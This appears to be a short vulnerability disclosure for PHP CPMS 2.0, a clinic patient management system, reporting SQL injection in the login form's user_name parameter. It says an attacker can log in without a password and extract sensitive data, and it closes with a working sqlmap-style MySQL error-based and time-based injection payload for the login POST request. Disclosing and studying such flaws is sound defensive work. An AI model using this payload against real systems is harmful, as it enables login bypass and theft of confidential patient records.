PHP CPMS 2.0 SQL Injection Vulnerability

# Titles: PHP - CPMS Version 2.0 SQLi
# Author: nu11secur1ty
# Vendor: https://github.com/oretnom23
# Software:
https://www.sourcecodester.com/php-clinics-patient-management-system-source-code
# Reference: https://portswigger.net/web-security/sql-injection

## Description:
The user_name parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the user_name parameter, and a database
error message was returned. Two single quotes were then submitted and the
error message disappeared. You should review the contents of the error
message, and the application's handling of other input, to confirm whether
a vulnerability is present. The attacker can get all sensitive information
from this system when he attacks it online, He can login super easily
WITHOUT PASSWORD - ONLY USER - bypassing, and can crash or get every
sensitive information from him!

STATUS: HIGH-CRITICAL Vulnerability


[+]Payload:
- SQLi:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: user_name=mBHydNkQ'+(select (SELECT 1239 FROM(SELECT
COUNT(*),CONCAT(0x717a6b7871,(SELECT
(ELT(1239=1239,1))),0x71786a6a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY
x)a)from(select(sleep(20)))a)+'&password=s1L!p4i!O5&login=
---
```